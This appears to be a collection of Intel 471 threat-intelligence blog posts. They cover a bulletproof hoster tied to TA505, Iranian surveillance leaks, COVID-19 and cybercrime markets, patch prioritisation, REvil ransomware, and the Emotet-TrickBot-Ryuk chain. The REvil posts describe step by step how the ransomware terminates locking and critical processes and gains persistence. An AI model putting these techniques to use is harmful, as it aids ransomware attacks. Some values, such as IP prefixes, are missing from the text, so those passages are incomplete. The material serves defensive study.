Flowspec – TA505’s bulletproof hoster of choice

By the Intel 471 Intelligence Analysis team. Here at Intel 471 we spend a fair amount of time tracking malicious infrastructure providers. In the world of cybercrime the malicious infrastructure provider, or Bulletproof Hoster (BPH) as they are called in the underground marketplace, is a core enabling service that often gets little attention from threat intelligence analysts. It’s difficult to quantify their impact as it’s often spread over the activities of many different clients that are conducting activities that range from low-level phishing to more sophisticated intrusions. Sure, IP addresses and domains associated with badness get pushed over to the NOC/SOC, SIEM or endpoints to protect the enterprise, but few are digging beyond the initial incident and indicators then working up the chain to prefixes, Autonomous System Numbers (ASN) or even the companies behind them.

As you divert your attention to the malicious infrastructure provider and move up this chain, you’re dealing with aspects of the bad guy’s business model that are more costly to put in place and thus change less frequently. You’re also allowing for opportunities to identify, track and proactively block clusters of infrastructure that, while not yet used for malicious activity, have been set aside for such badness. In this blog we’ll start with some infrastructure suspected to be in use by TA505 and make the case for blocking the entire associated prefix as well as using BGP announcements to monitor for future indications of infrastructure being put in place. 

Through the course of our research we’ve identified a couple of IPs addresses suspected to have been used in secondary activity by TA505, so if you’re seeing these then it means you’ve potentially got some big problems.

These are a bit more significant to TA505 operations than Get2 Loader malware infrastructure, which are used early on as part of the initial infection. Get2 Loader is widely thought to be the loader operated by TA505 early on in their intrusions. This infrastructure will typically see more frequent turnover given its position in the chain, but the same exercise can be done with those domains & IPs as well…and it’s worth doing. 

When looking at an IP address there are few red flags that should get your attention. It’s certainly not a perfect science, but they do offer indications you may be dealing with BPH infrastructure set aside to support malicious activity. 

Things to look out for include:

  1. The associated company is registered to an offshore location such as Belize, Seychelles, Panama or others;
  2. The company was registered in the last 1-3 years;
  3. The associated ASNs were created in the last 1-3 years;
  4. There are only a small number (1 – 6) prefixes associated with the ASN;
  5. The prefixes associated with the ASN are smaller (/22 to /24);
  6. The ASN has a small number (1 – 2) of peers (as in BGP peering);
  7. Little or no benign content is hosted within the infrastructure;
  8. The organization maintains a presence in the underground marketplace…obvious giveaway!

To give a quick and simple example we’ll start with the two IPs mentioned above as being associated with TA505 activity. The first thing we want to understand is the smallest prefix announcement and routing history associated with the IP address. That’s pretty easy using RIPE’s free tool RIPEStat. The key takeaways from the screens below are that both IPs have been part of since mid-2018 and it is currently announced by AS210138. Also, this prefix provides a fairly small number of IP addresses — 256 to be exact. 


We can also use RIPEStat to understand the routing history for AS210138. This will provide you information related to what other prefixes have been and are being announced under a particular Autonomous System (AS). What we can see is that AS210138 has only announced the subject /24 IPv4 prefix since October 2019 and the IPv6 /48 since in April 2020. If you were confident an ASN was controlled by a malicious infrastructure provider you could make the case for blocking any prefixes associated with it currently and in the future. 


We can look further into the ASN, the parent organization, and more using the RIPE database and other tools, but that’s beyond the scope of this blog. We’ll stick to three RIPE objects (person, organization and ASN) that provide some pretty decent insight into the AS and those that control it.

The information gleaned from the RIPE DB and from RIPEStat is somewhat more reliable than domain WHOIS as it can’t all simply contain dummy data and some of it is related to BGP, which needs to be legitimate if you’re going to play on the internet. To summarize some of the info we’ve pulled together:

  • Both IPs are part of, which is a relatively small netblock of 256 IP addresses
  • The prefix falls under ASN 210138, which was created on Oct 2, 2019
  • The AS first announced on Oct 12, 2019
  • The prefix and ASN are associated with a company called Flowspec LTD

Next, we consider the question of whether or not this particular organization is catering its services to cybercriminals directly in the underground marketplace. A quick look across a number of forums will show that Flowspec is operating in plain sight and clearly offering bulletproof hosting services. It’s not always this easy to answer this question, however. 

We’ve taken an abbreviated look at Flowspec’s setup, but what we can conclude is that TA505 are likely active in the underground marketplace and using the BPH services of Flowspec. It’s a safe bet to also conclude that nothing good is coming out of Flowspec’s /24 and it’s more or less set aside for nefarious activity. TA505, a somewhat sophisticated adversary, are just one of a number of clients so to block that /24 will also help defend against any other badness originating from Flowspec.

So what can we do about it?

Course of action (COA) analysis must take into account your organization’s capabilities, but below are a number of simple COAs that might make this sort of research and analysis actionable for your organization. 

  1. Block/alert on all 256 IPs associated with The prefix is owned and operated by a known BPH service. One of the service’s clients is TA505. Better yet, blacklist the ASN and any prefixes associated with it.  
  2. Monitor the for BGP announcements that would suggest it is being removed from Flowspec or moved to another entity. This could indicate the prefix is no longer used as part of the BPH service or has been transferred to a new entity under the service’s control. 
  3. Monitor BGP announcements for Flowspec’s ASN to identify new prefixes being added so you can immediately block/alert on them.

TA505 Webinar – 23 July 2020

Want to learn more about TA505? Join us on July 23rd, 2020 for our TA505 Deep Dive webinar that will cover the group’s history including TTPs. Register at: https://us02web.zoom.us/webinar/register/WN_Z_YvCOXHRweL6vW3EoqO2Q

Iran’s domestic espionage: Lessons from recent data leaks

By the Intel 471 Global Research Team. In the last decade, Iran has undergone a quiet revolution. Since the“Green Movement” uprising in 2009, more Iranians have dared to openly oppose their regime. The reasons include accusations of elections tampering, global sanctions, increased inflation, heavy investment of state funds in the nuclear and arming programs, and ambitious regional policies in Lebanon, Syria, Iraq, Yemen and others, amid a deteriorating socioeconomic situation of the average Iranian. 

There was a lot of talk in the past about Iran’s espionage measures and offensive cyber activities targeting other countries. However, growing domestic unrest prompted the Iranian regime to invest more resources in developing espionage capabilities aimed against its own citizens. Additionally, the regime carried out tough measures against civil uprisings such as cutting off the internet in the country for long periods of time and killing hundreds of protestors.

During the past year, a number of online activists have leaked what they claim to be inside information about the regime’s surveillance methods, in an attempt to expose the unethical tactics used by Iranian security forces. Among the top whistleblowers are operators of the Lab Dookhtegan (translated in Persian as “stitched lips”) Telegram channel and an activist named Masoud Molavi. Molavi, assassinated by Iranian agents in November 2019, was a former cybersecurity official behind the Black Box Telegram channel that was responsible for many notable leaks of Iranian government information.

The series of leaks uncovered hundreds of documents that offer a glimpse into the way Iran is spying on its own people. According to the leaked information, the Islamic Revolutionary Guard Corps (IRGC) and the Iranian Ministry of Intelligence Services (MOIS) developed numerous tools, malicious software, surveillance systems and data analysis platforms, in order to control citizens in Iran and abroad. Much of this activity allegedly was conducted in the Rana Intelligent Computing Institute, an organization working under the Iranian MOIS, involved in internal espionage by developing unique tools and gaining access to a variety of foreign countries’ infrastructure. 

Tools and Techniques used for Domestic Espionage

According to the information shared by these whistleblowers, Iran is heavily investing in the development of customized tools and malicious software for domestic espionage. For example, the Iranian regime developed a surveillance system dubbed Abi, which allegedly was used to spy on political activists, human rights lawyers, regime opponents and protesters by intercepting Bluetooth communications. According to an Iranian blog called Arezooyenatamam, (translated in Persian as ‘an unfinished dream”), this system has been installed on pickup trucks posted in strategic locations in Iran such as university campuses or protest centers.

(A screenshot from the Abi system monitoring of Sharif University)

The Iranian regime also developed customized malware used for stealing information from citizens. One example found in those leaks was called WinspySuite, a remote access and information stealing malware that reportedly was used specifically to spy on suspects arrested by the regime. Internally referred to as Peyvand, the malware allegedly was loaded onto a target’s computer via a USB flash drive during interrogations or sent via a malicious link to a victim’s email address. The regime also developed a remote access tool for Android and iPhone mobile devices as part of a project dubbed Project 220. The malware purportedly was able to steal sensitive data from a victim’s device, including call data, text messages, contacts and locations.

(A screenshot from the Winspy Suite control panel)

Another malware project dubbed Project 420 aka Dolphin developed, deployed and controlled an undisclosed mobile malware capable of collecting and analyzing information about the activities of individuals and groups on social media networks including Facebook, Twitter, and Instagram, and on messaging applications such as Telegram. 

According to leaked information, the regime not only developed tools for stealing sensitive data from its citizens, but also created designated platforms for the collection and analysis of the data.  A system dubbed Payamak was developed to store and analyze text messages from targeted subjects. A software called Seraj was used as an analytical search engine for data on suspects, employees, intelligence operations and arrests related to the MOIS. Another system mentioned in reports dubbed Shojreh includes a mapping of family relations of Jewish people in Iran and abroad.

Additionally, the IRGC and MOIS gained unauthorized access to legitimate services or websites to spy on Iranian citizens. For example, the MOIS would compromise Iran’s National Library computer network seeking to obtain personal information about users, mainly students and political prisoners, and their topics of interest. The MOIS allegedly also abused this access to send phishing emails with malicious attachments from the library’s official email account.

Tracking Iranians Abroad

In addition to all of the above, the Iranian government is making great efforts to monitor citizens going abroad by surveying and analyzing location data obtained from Iranian cellular operators with a system called Pouya, and by compromising the infrastructure of foreign companies.

(A screenshot from the Pouya system)

In 2019, an unknown activist or group of activists launched a site called “Vagheyatepenhaan” (translated in Persian as ‘the hidden facts’) to expose Iranian regime espionage-related activity. The site contains a large section about espionage enterprises outside Iran that was conducted to monitor the movement of Iranians traveling abroad. According to this information, the regime gained access to computer systems of numerous airline companies in Bahrain, Dubai, India, Indonesia, Malaysia, Pakistan, the Philippines, Qatar, Saudi Arabia, Thailand and the United Arab Emirates (UAE) for data collection on flights of Iranian citizens. In another case, leaked documents showed the government worked on a project that aimed to compromise hotel websites in the Republic of Georgia, a neighboring country and a popular holiday destination for Iranians. 

While they can be considered revealing, It should be noted that these leaks provide a very narrow window into the full extent of the Iranian regime’s priorities. However, the information disclosed provides evidence that as time goes by, motivation to expose these activities likely will remain high.

Coronavirus having minimal impact on prices, demand, and availability across the cybercriminal underground

By the Intel 471 Intelligence Analysis team.

Coronavirus Disease 2019 (COVID-19) continues to surround our everyday lives and its presence remains a topic of interest and discussion within underground forums. In the earlier days of the pandemic, we took a look at how attackers were leveraging the fear surrounding the disease to launch campaigns such as business email compromise (BEC), phishing and malicious domains, but questions remain about how or whether the marketplace has been directly impacted. Some may think the underground economy for malware and stolen access and data took a hit similar to Wall Street, however, that is not the case. A few threat actors allegedly used the pandemic to join or spend more time on underground forums which could have increased the demand for or availability of data and services slightly, but there is no significant activity to support this assessment at this time. Additionally, there were a few low-tier actors who claimed to adjust pricing due to COVID-19, but overall there were no significant changes in malware or data prices due to the pandemic. 

Impact to underground economy

Demand and availability of accesses, compromised data, and malware

Very much like a number of you reading this blog are spending more time in front of your computer screen, a number of threat actors claimed to have joined or spent an increased amount of time on underground marketplaces due to the virus and subsequent result of more “free time.” For instance, one threat actor claimed COVID-19 allowed him or her to offer free hacking services, and a few other actors stated they lost their jobs or lacked funds due to the pandemic and sought or offered work on underground forums. Threat actors also have considered how certain cybercrime might be easier to commit or more widespread due to the virus. In late March 2020, a discussion related to COVID-19 amongst two carders suggested that carding could be more successful and easier due to business transitioning to online shopping only. While such activity could increase the demand and availability slightly, there wasn’t any related significant activity at the time of this blog.

Pricing of access, data, malware

Research on a handful of top-tier actors focused on malware, stolen credit card shops, call service and hacked accesses showed no significant change in prices of the actors’ offers pre-pandemic versus during COVID-19. The actor behind the Terra malware loader continues to sell and support the product which was priced at US $3,700 prior to the pandemic. During the COVID-19 outbreak, the actor attempted to sell the malware loader in a package with malicious macros and priced the tool at US $4,200. This increase in price likely was due to the “package” offer that included new features rather than an impact of the virus and the actor seeking increased funds. Additionally, another notorious actor that specializes in selling hacked accesses reemerged in the underground during the pandemic and advertised several new accesses for sale. The price sat within the range the actor previously sought for similar offers advertised before COVID-19. While the recent reappearance of the actor could be viewed as the actor seeking more money during a difficult time, it’s likely he had merely taken time away from forum activity to work on gaining new access, therefore, the timing of the new sales threads simply might be coincidental. 

Although they are in the minority, a few threat actors adjusted prices for their offers due to the pandemic. In April, a well-known call service adjusted prices as a result of the virus’ impact on service times. The actor claimed there was an average 20 to 25-minute wait on calls for FedEx and UPS, therefore, the new price for calls would be adjusted to US $7 “regardless of the outcome.” It appears the minimal observations in price changes due to the pandemic primarily are attributed to low-level threat actors, but pricing on malware and stolen access and data offered by more prolific adversaries persists unchanged.  

Key Observations

While the impact of the pandemic on everyday life has been quite significant, its influence in the underground marketplace appears to be less than initially expected by some. A large part of what makes the legal economy run is face-to-face interaction, which has been disrupted, but the underground economy is built on minimal in-person exchanges. Since the start of COVID-19 in late 2019, the underground appeared to operate under business as usual, with some threat actors claiming to join or spend more time on forums and a few others adjusting the price of goods and services due to the virus. Overall, observations suggest there were no significant changes in malware and data prices or increase in demand for and availability of data and services due to the pandemic.

You need to adjust your patch priorities!

By the Intel 471 Intelligence Analysis team. Some business people might say the security folks don’t understand the dollar impact of taking a system offline. The reality is in business often time is money and quantifying the cost of key systems being taken offline is a real thing. Some security folks might also say that your business folks don’t understand or care about the risk or impact of a vulnerability being exploited. This is an age-old situation that pits two competing worlds where one side might be more comfortable with taking risks and the other tends to be more risk averse. Queue your cyber threat intelligence team…the perfect referee in this conversation. 

Patching decisions must be based on a solid (as possible) calculation of risk to your organization associated with a subject vulnerability. Everyone’s probably sick of hearing about the risk equation, but let’s revisit it just one more time for the sake of this conversation:


Measuring impact and cost are often an internal facing exercise encompassing data that is readily available as long as the right people are at the table. We’re going to focus on measuring the more abstract concept of probability given a particular vulnerability. Some will focus on the vulnerabiliy’s CVSS score, but this is merely a standalone measure of severity of the vulnerability. There’s little to no context or business realities being taken into account with the CVSS. It’s simply not a measure of risk and even the CVSS 3.1 standard itself tells us we shouldn’t rely on it as a measure of risk: 

“The CVSS Specification Document has been updated to emphasize and clarify the fact that CVSS is designed to measure the severity of a vulnerability and should not be used alone to assess risk.”

Source: https://www.first.org/cvss/user-guide

Supporting an assessment of probability is the perfect situation to leverage Threat Intelligence. This is where some of your known unknowns become known. If you are asking your CTI team or vendors to support vulnerability management and patch prioritization you should be asking the below questions. If your CTI capability is not supporting vulnerability management and patch prioritization you need to ask why not!  

Intelligence requirements to support patch prioritization:

  • What is the level of interest in open sources, the underground and privately amongst cybercriminals?
  • Is proof-of-concept (POC) code being traded or for sale in the underground, in open sources or privately between cybercriminals?
  • Have attacks in the wild been observed?
  • Has the exploit been weaponized? 
  • Has an exploit been productized into a known exploitation framework or kit?

Lastly, some like to take volumetric keyword hits against vulnerability terms or CVEs, but the problem is this often lacks context. If you are truly going to have intelligence support to patch prioritization you need context – actual conversations amongst threat actors, assessments and history to assess threat actor capabilities and intent, etc. 

For example, here’s what we call a SPOTREP* that we sent out to our clients that would have been routed to anyone subscribed to our Vulnerability and Exploits General Intelligence Requirements (GIRs):

*A SPOTREP is a short succinct intelligence notice that relays a significant piece of information to analysts that may be considered time sensitive. 

We have a significant threat actor who has communicated to the market that a specific vulnerability was integrated into a widely used exploit kit. The barrier to entry to leverage this exploit dropped significantly. If this sort of data point and context doesn’t help drive the probability equation and assessment of risk in general then there may not be much else that will. This sort of information can be leveraged regularly and should be. Lean on your CTI teams and vendors to support the very important use-case of patch prioritization. CTI teams reach out to your vulnerability managers and show them how you can support their use-case and the business overall. 

Want to see an example of Vulnerability Intelligence? Please consider subscribing to our Periscope list and get a monthly version of Intel 471’s CVE Weaponization Report, which is curated by Intel 471 analysts who track the life cycle of vulnerabilities from initial disclosure to exploit weaponization and productization observed in the underground. You can read more about it here: www.intel471.com/periscope.html.

Lastly, we’re finalizing our Vulnerability Intelligence Splunk Application so please stay tuned on splunkbase.com for more information. It will be a Splunk version of our live Vulnerability Intelligence dashboard found in our Titan platform.  Here’s a teaser….

Changes in REvil ransomware version 2.2

By the Intel 471 Malware Intelligence team.


The REvil ransomware-as-a-service (RaaS) operation continues to impact businesses worldwide. The threat actors responsible for developing and maintaining the malware have released an updated ransomware, namely version 2.2. In this short blog post, we will cover the significant changes from the previous version, which we covered in detail in an earlier blog post (see: https://blog.intel471.com/2020/03/31/revil-ransomware-as-a-service-an-analysis-of-a-ransomware-affiliate-operation/).

Persistence mechanism

REvil ransomware persists on a machine if the arn configuration field is set to true. It writes its path to the registry key SOFTWARE\Microsoft\Windows\CurrentVersion\Run. An example of the value name of the registry key entry is mjOObKp0yy.

In version 2.1, first collected by our systems March 15, 2020, this persistence mechanism was removed. It seems this little experiment didn’t go as planned, because the new version 2.2 brings the same persistence mechanism back!

Restart Manager to terminate processes

One of the more interesting new features of REvil version 2.2 is the use of the Windows Restart Manager to terminate processes and services that can lock files targeted for encryption. If a process has an open file handle for a specific file, then writes to that file by another process (in this case, a ransomware) it will be prevented by the Windows operating system (OS). To circumvent this, the REvil developers have implemented a technique using the Windows Restart Manager also used by other ransomware such as SamSam and LockerGoga (see: https://www.crowdstrike.com/blog/an-in-depth-analysis-of-samsam-ransomware-and-boss-spider/).

REvil ransomware opens files for encryption with no sharing (dwShareMode equals 0). As a result, the Restart Manager is invoked whenever a sharing violation occurs when opening an already opened file.

The function prototype for rvl_restart_manager is:

VOID rvl_restart_manager(LPCWSTR Filename, BOOL DoEndSession)

The following explains how REvil employs this technique:

  • Call OpenSCManagerW to open the “ServicesActive” database. 
  • Start a new Restart Manager session by calling RmStartSession and save the returned handle in a global variable for future calls.
  • Invoke RmRegisterResources with the target file name to register it to the Restart Manager session.
  • Retrieve the list of all applications currently using the file by calling RmGetList. This application programming interface (API) returns an array of RM_PROCESS_INFO structures.
  • If a normal process is using the file, it is terminated by a call to TerminateProcess.
  • If a service is encountered, ControlService is invoked with the SERVICE_CONTROL_STOP control code to stop the service followed by a call to DeleteService.
  • If a critical process is encountered, its critical status is removed by calling ZwSetInformationProcess with the information class ProcessBreakOnTermination before terminating it. This may lead to undefined behavior on the victim system.

New ‘-silent’ flag

A new command-line option -silent was added that skips termination of blacklisted processes, services and shadow copy deletion. However, this flag does not impact the new Restart Manager functionality.

Indicators of compromise

REvil v2.2 sampleffe7fe45327645a48ca83b7dd4586de22618206001b7a7354d9d285e0308f195
REvil v2.2 sample774354fe16764fa513052ff714048858cb315691599a08d13ba56be1c796a16d

COVID-19 pandemic: Through the cybercriminal’s eyes

By the Intel 471 Intelligence team. Cybercriminals’ exploitation of the global Coronavirus Disease 2019 (COVID-19) pandemic (in phishing lures, for example) has been covered widely in the media. But one underreported aspect is how the coronavirus itself is impacting cybercrime actors, their activities and their infrastructure. Our research of the underground marketplace and these actors show that many of them have had their activities significantly disrupted, but they’re seeing some potential benefits as well. 

Disrupted money-mule networks, long waits for fraud calls

Since late March 2020, we observed several cybercriminals complaining about COVID-19 disrupting their operations. We’ve particularly noticed this with actors engaged in banking fraud. For example, one Russian-speaking actor running a fraud network complained about their subordinates (“money mules”) in Italy, Spain and other countries being unable to withdraw funds, since they currently were afraid to leave their homes. Also some actors have reported that banks’ customer-support lines are being overloaded, making it difficult for fraudsters to call them for social-engineering activities (such as changing account ownership, raising withdrawal limits, etc).

Some criminal reshipping services are also reporting difficulties, due to the increased wait time when calling FedEx or UPS or to increased law-enforcement scrutiny of the packages they’re shipping. In response, they’re raising their prices and warning of longer shipping times, which in turn could hamper the activities of other actors who depend on those services. 

Carding tanks…or does it?

You might have thought carding activity, to include support aspects such as checker services, would decrease due to both the global lockdown and threat actors being infected with COVID-19. We’ve even seen some actors suggest as much across some shops, but the reality is there have been no observations of major changes. 

The infamous actor JokerStash came out to explain his lack of availability and admitted being sick with pneumonia, but clarified it was not due to COVID-19 infection. We can confirm JokerStash and the shop he runs has seen a change in normal activity since November 2019, but we’re unsure of the reasons. Any decline in credit-card fraud activity might instead be due to the Russian Federal Security Service (FSB)’s recent dismantling of a hacking group implicated in stealing and selling compromised payment card data through more than “90 online shops.” The shops allegedly were associated with the Russian national Alexey Stroganov aka Flint24 and were covered extensively in open sources.

Actors claim infections

We’ve noted a few actors claiming to have been infected with COVID-19, although these claims obviously are difficult to verify (and it’s not as though cybercriminals have a reputation for being honest and trustworthy). In any case, none of those actors appeared to have altered their online behavior in any significant way, so if they were infected with COVID-19 it looks as though they recovered and have continued with business as usual.

Some cybercriminals see the upsides 

However, we observed other fraudsters state there are potential benefits to be gained from the pandemic, particularly since more businesses are moving to purely online sales. At least one actor has claimed this will make credit-card fraud easier (presumably due to more small businesses moving online). Another actor speculated the upcoming global economic recession (and resultant unemployment) will make it easier to recruit low-level accomplices such as money mules. So the future doesn’t seem all bleak for cybercriminals — although, as with the legitimate economy, there’s still a lot that remains to be seen.

Understanding the relationship between Emotet, Ryuk and TrickBot

By the Intel 471 Malware Intelligence team. One of the more notable relationships in the world of cybercrime is that between Emotet, Ryuk and TrickBot. This loader-ransomware-banker trifecta has wreaked havoc in the business world over the past two years, causing millions of dollars in damages and ransoms paid. Our Malware Intelligence team receives a lot of great questions from our clients on this subject, so we thought it would be good to do a Q/A style blog covering some of the more general questions. 

Most perspectives on Ryuk come from a threat-hunting or incident-response point of view. In contrast, Intel 471’s perspective is based on detailed knowledge of the malware itself and how it’s being used. Our Malware Intelligence offering provides our clients with near real-time visibility into malware activity at the controller level. This activity includes infrastructure updates, new module/plugin downloads, targets being added to injects or configs, and many other data points. 

Q: Are TrickBot campaigns operated by a single group?

A: TrickBot likely is operated by a single group as a malware-as-a-service (MaaS) platform that caters to a relatively small number of top-tier cybercriminals. Available information leads us to believe that individual TrickBot campaigns can be attributed to these different customers using the Group Tag (Gtag) parameter, and each customer may bring their own tactics, techniques and procedures (TTPs) and engage in highly targeted attacks.

Q: If multiple actors or groups are leveraging TrickBot, how is it possible to track the respective campaigns?

A: One technique is to focus on the Gtag parameter and map it to associated delivery methods. The Gtag value is hardcoded into each TrickBot sample and is thought to be a campaign identifier. For example, a Gtag could be “fred372,” where “fred” is the group ID and the numerical value is thought to be a specific campaign or wave that can be linked to a method of delivery. 

Q: How many different Gtag values are out there and why are they significant?

A: It’s difficult to say exactly how many unique Gtag values there are, but we can offer some observations based on about 18 months of technical tracking and 37,000 unique TrickBot samples. We’ve seen about 1,000 unique Gtag values, but if we focus on just the group ID , there are only 59 unique values. The majority of samples in our data set — more than 92% — can be attributed to just a handful of group IDs — jim, lib, ono, sat and tot.  

Furthermore, we can link the individual group IDs to specific spreading methods as previously mentioned. For example, It’s suspected that jimXX, libXX and totXX are primarily delivered by malspam. We know that every morXX-related sample we observed was delivered via Emotet. All samples attributed to sinXX, tinXX and winXX were delivered via Bokbot aka IcedID. Samples attributed to wmdXX seem to utilize several different loaders, such as Amadey, FastLoader and an unnamed loader. Lastly, satXX, summ1 and trg1 all utilized the Ostap JavaScript loader for delivery. 

Aside from the tracking perspective, Gtags also are significant from an incident response point of view. For example, if TrickBot samples are found in workstations and analysis shows them to be from morXX campaigns, getting rid of the TrickBot infection will not ensure the cleaning of the network, as there likely also will be Emotet binaries there.

Q: Are the Ryuk outbreaks connected with any specific Gtag?

A: Given the targeted and manual nature of Ryuk delivery, it’s difficult to gain sufficient visibility into the samples to link them to specific Trickbot Gtags and Ryuk ransomware. However, from privately shared information, it appears that some Gtags are linked to the post-exploitation and deployment of Ryuk ransomware. The Gtag most often associated with Ryuk is said to be morXX. However, while the “mor” Group ID only surfaced in September 2019, the Trickbot to Ryuk connection has been observed since at least January 2019, and reportedly has been seen via other Gtags since then. One of those Gtags is onoXX which reportedly was linked to Ryuk attacks by several organizations in public information reports. 

Q: Is there other specific behavior spotted with the morXX Gtag which has not been observed for other Gtag values?

A: Emotet malware typically is used as a loader for TrickBot campaigns, however, our monitoring registered 3 controller events — Feb. 7, 2020, April 1, 2020 and April 11  — where the roles were reversed and TrickBot Gtag morXX was used to download Emotet. Since August 2018 and across millions of controller events, we’ve not observed this behavior outside of these two examples. It suggests the actors behind morXX may have direct access to or some relationship with Emotet, however, the level and extent is unknown.

Q: It seems that in most of the Ryuk outbreaks, Emotet and TrickBot also were in the network. How does the chain work?

A: While it is true that many of the Ryuk incidents we’ve been privy to have involved both Emotet and TrickBot, it’s important to specify where in the chain Ryuk enters. Emotet often is the precursor to TrickBot being loaded onto the system. TrickBot then uses several modules to carry out various activities on the victim system, allow for lateral movement and allow utilities such as BloodHound, Cobalt Strike and/or Empire to be loaded manually by the operators. The deployment of Cobalt Strike does not appear to be automated, but instead is initiated on specific bots that match a profile. Once post-exploitation tools are loaded, the domain controller (DC) is attacked. When privileged access to the DC is acquired, Ryuk can be deployed across the network at the botnet operator’s will.

Q: What is the best way to protect from Ryuk?

A: The first order of business for any organization is to have good security hygiene, including but not limited to ongoing security monitoring, a detection strategy, and response and recovery. There are at least two opportunities to stop both Emotet and TrickBot before a Ryuk outbreak occurs. The first is to stop Emotet from downloading TrickBot. The second is to stop TrickBot from spreading across the network, or at least stop it from communicating back to its command and control servers.

Once TrickBot has identified a domain controller on the network, the network defender is racing against the clock. If the infected machine is on a small-to-medium-sized business network, there is a very good chance threat actors will attack the domain controller and deploy Ryuk. Unfortunately, defensive measures such as anti-virus agents are unlikely to stop Ryuk, since the attacker can easily disable them  (i.e., via a group policy object (GPO)). 

Q: So, based on the capabilities of TrickBot mentioned above, is it still accurate to call it a banking trojan?

While TrickBot essentially is a banking trojan, the ability to extend its features by adding additional modules distinctly enhanced opportunities for groups running malware operations. Over the years we’ve seen TrickBot evolve from being a banker to an “all of the above” malware using case-specific modules.

Before the widespread use of ransomware, the actors behind Trickbot were engaged in fraudulent money transfer operations. The objective was to mass-infect as many computers as possible and look for high-value targets — individuals with high-balance bank accounts or small businesses. Using the banking trojan and web-injects, the botnet operators could make money transfers to money-mule accounts and then proceed to cash out. There are two problems with this operation:  

  1. Banks are getting better at detecting fraudulent transactions and eliminating money mule accounts.
  2. These operations are high maintenance and very costly to operate because of the need to manage money mules, update web-injects, and maintain both the botnet infrastructure and the constant supply of new bots from new campaigns. While many of these things can be outsourced, each “partner” comes with added cost and risk. 

With ransomware, the goals of the adversary remain the same, but the path to clean, laundered money is much shorter. Instead of dealing with money mules and bypassing access restrictions on banking accounts, the adversary convinces the victim to pay them directly in bitcoins. Attackers no longer need to understand the intricacies of financial systems, since there now is a single blueprint that fits many targets: Find the domain controller and you have the keys to a network. 

Q. What is the outlook for ransomware?

We’ve seen a number of things transpire in the world of cybercrime over the past three years as ransomware has taken the top spot for most lucrative malicious endeavors.

  • The 2016 U.S. presidential election showed the world the power of exposing sensitive data and there’s no doubt ransomware operators and developers were watching. It’s now commonplace to see ransomware groups use blackmail tactics to compel victims to pay the ransom, while maintaining blogs to expose non-paying victims. In late 2019, the Maze ransomware team was the first to release data from non-paying ransomware victims, but the tactic subsequently was replicated by several ransomware-as-a-service (RaaS) operators. Intel 471 observed this tactic implemented by others, such as DoppelPaymer, MegaCortex, Nemty and REvil aka Sodinokibi. We’ll continue to see this trend, giving companies yet another thing to worry about as they navigate the ransomware threat both to them directly, and the risk it brings them via their third-party vendors and suppliers.  
  • Emotet, Ryuk and Trickbot are by no means the only tools that team up to deliver ransomware. We’ve also observed connections between some Dridex and DanaBot actors, likely for ransomware delivery. MaaS operations cannot be written off as merely “commodity” malware, since their client pool includes very skilled groups that can and will cause serious damage if allowed to do so.
  • Ransomware has helped revamp and boost a submarket where criminals can crowdsource the identification of potential targets. The sale of compromised accesses is nothing new in the underground marketplace, however, over the past 18 months there’s been an explosion of such sales by actors ranging in sophistication from inexperienced to highly knowledgeable. Ransoms over the past three years have skyrocketed and now are in the millions in some cases, making ransomware operations a very lucrative activity. Purchasing a simple remote desktop protocol (RDP) access for thousands of dollars will provide a return on investment (ROI) for both sides of the sale. As malware-based vectors are considered, so too must the accesses being obtained through simple account takeovers or other means.

REvil Ransomware-as-a-Service – An analysis of a ransomware affiliate operation

By the Intel 471 Malware Intelligence team.


REvil aka Sodinokibi, Sodin is a ransomware family operated as a ransomware-as-a-service (RaaS). Deployments of REvil first were observed in April 2019, where attackers leveraged a vulnerability in Oracle WebLogic servers tracked as CVE-2019-2725.

REvil is highly configurable and allows operators to customize the way it behaves on the infected host. Some of its features include: 

  • Exploits a kernel privilege escalation vulnerability to gain SYSTEM privileges using CVE-2018-8453. 
  • Whitelists files, folders and extensions from encryption. 
  • Kills specific processes and services prior to encryption. 
  • Encrypts files on local and network storage. 
  • Customizes the name and body of the ransom note, and the contents of the background image. 
  • Exfiltrates encrypted information on the infected host to remote controllers.
  • REvil uses Hypertext Transfer Protocol Secure (HTTPS) for communication with its controllers.

Capabilities Overview

  • Ransomware.

Behaviour Overview

  • Uses a persistence mechanism.
  • Encrypts additional resources.
  • Supports privilege escalation.

Adversary intelligence


REvil ransomware first was advertised on a Russian language cybercrime forum in June 2019. The main actor associated with advertising and promoting REvil ransomware is called Unknown aka UNKN. The RaaS is operated as an affiliate service, where affiliates spread the malware by acquiring victims and the REvil operators maintain the malware and payment infrastructure. Affiliates receive 60% to 70% of the ransom payment. 

Due to source code and behavior similarities between REvil and GandCrab, it was suggested there might be a connection tying the developers of the two ransomware families together. In addition to the similarities in the code, supplemental evidence tying GandCrab and REvil together is that GandGrab officially “retired” just before REvil appeared in the wild. REvil is maintained actively and is under constant development, just as GandCrab was. The most recent REvil ransomware at the time of this report was version 2.1.

The actor Unknown acknowledged the public reports linking REvil to GandCrab with the following statement:

“We used to be affiliates of the (GandCrab) affiliate program. We bought the source code and started our own business. We developed custom features for our purposes”

Despite the plausible alibi given by actor Unknown, the evidence suggests that REvil is a continuation of the GandCrab RaaS operation with new software, but operated by the same individuals. 

The actors behind REvil include their master public key in all REvil binaries. Therefore, they are able to decrypt the files independently of the affiliates running the campaigns.


REvil is a RaaS, in the sense that a single group operates and manages the development of the ransomware while access is sold to affiliates. A field in the configuration file named pid is used to identify the affiliate that the sample belongs to. We have confirmed that a field in the malware configuration named sub is used to identify affiliate campaigns, and not the affiliates themselves, as frequently is reported. In addition, the attacker’s public key can identify the same operator when used across multiple samples.

Two prominent users on the aforementioned Russian language cybercrime forum vouched for Unknown’s ransomware service:

  • kerberos – A moderator on the aforementioned forum and long-standing cybercriminal.
  • lalartu – A cybercrime actor known to participate in GandCrab and REvil ransomware affiliate programs.

The actor lalartu’s personal information possibly was released for malicious purposes or “doxxed” by an information security researcher known as UnderTheBreach (see: https://medium.com/@underthebreach/tracking-down-revils-lalartu-by-utilizing-multiple-osint-methods-2bf3a6c65a80). We have not been able to verify the conclusions asserted in this post.


REvil ransomware configurations contain more than 1,000 controllers. Interestingly, the live domains we verified all were WordPress websites, so it is probable they might be compromised by the operators or purchased from other cybercriminals.

The configuration also contains domain names that were not registered at the time of this report, for example:

$ whois andersongilmour[.]co[.]uk

No match for “andersongilmour[.]co[.]uk.”

This domain name was not registered at the time of this report.

It is likely most of the domains present in the configuration are decoys, with only a few real REvil controllers scattered inside the list.


This section describes the methods used to detect a REvil sample.

Static Detection

Unpacked REvil samples can be detected statically by looking up patterns in the code and in cryptographic functions used by the ransomware.

Dynamic Detection

